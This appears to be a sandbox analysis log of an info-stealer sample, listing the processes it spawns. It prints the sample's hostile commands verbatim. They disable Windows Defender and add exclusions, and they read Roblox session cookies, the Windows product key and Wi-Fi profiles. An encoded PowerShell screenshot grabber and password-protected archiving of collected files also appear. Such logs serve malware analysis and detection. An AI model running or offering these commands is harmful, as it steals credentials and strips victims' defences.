CAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF89E.tmp" "c:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Users\user\Desktop\9g9LZNE4bH.exe "C:\Users\user\Desktop\9g9LZNE4bH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\BPWmX.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
